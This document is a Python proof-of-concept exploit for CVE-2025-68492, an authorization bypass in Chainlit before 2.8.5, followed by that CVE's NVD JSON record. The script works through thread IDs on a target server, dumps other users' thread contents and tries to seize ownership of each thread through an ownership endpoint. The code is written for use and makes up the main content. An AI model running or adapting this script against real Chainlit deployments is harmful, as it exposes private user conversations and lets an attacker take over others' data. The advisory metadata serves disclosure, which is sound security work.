CVE-2025-68492

# CVE-2025-68492 PoC - Chainlit Authorization Bypass # This PoC demonstrates accessing threads belonging to other users import requests import json TARGET_URL = "http://target-chainlit-app.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_thread_enumeration(): """ Exploit Chainlit authorization bypass by enumerating thread IDs """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access threads with different IDs for thread_id in range(1, 1000): url = f"{TARGET_URL}/api/threads/{thread_id}" response = requests.get(url, headers=headers) if response.status_code == 200: thread_data = response.json() print(f"[!] Found accessible thread ID: {thread_id}") print(f"Thread data: {json.dumps(thread_data, indent=2)}") # Attempt to change thread ownership change_ownership(thread_id) elif response.status_code == 403: print(f"[-] Thread {thread_id}: Access denied") else: print(f"[*] Thread {thread_id}: Status {response.status_code}") def change_ownership(thread_id): """ Attempt to take ownership of a thread """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "userId": "attacker_user_id", "threadId": thread_id } url = f"{TARGET_URL}/api/threads/{thread_id}/ownership" response = requests.post(url, headers=headers, json=payload) if response.status_code == 200: print(f"[+] Successfully took ownership of thread {thread_id}") if __name__ == "__main__": print("CVE-2025-68492 - Chainlit Authorization Bypass PoC") print("Target: Chainlit < 2.8.5") exploit_thread_enumeration()

{"cve": {"id": "CVE-2025-68492", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:14.627", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chainlit versions prior to 2.8.5 contain an authorization bypass through user-controlled key vulnerability. If this vulnerability is exploited, threads may be viewed or thread ownership may be obtained by an attacker who can log in to the product."}, {"lang": "es", "value": "Las versiones de Chainlit anteriores a la 2.8.5 contienen un bypass de autorización a través de una vulnerabilidad de clave controlada por el usuario. Si esta vulnerabilidad es explotada, los hilos pueden ser vistos o la propiedad de los hilos puede ser obtenida por un atacante que puede iniciar sesión en el producto."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/Chainlit/chainlit/releases", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN34964581/", "source": "[email protected]"}]}}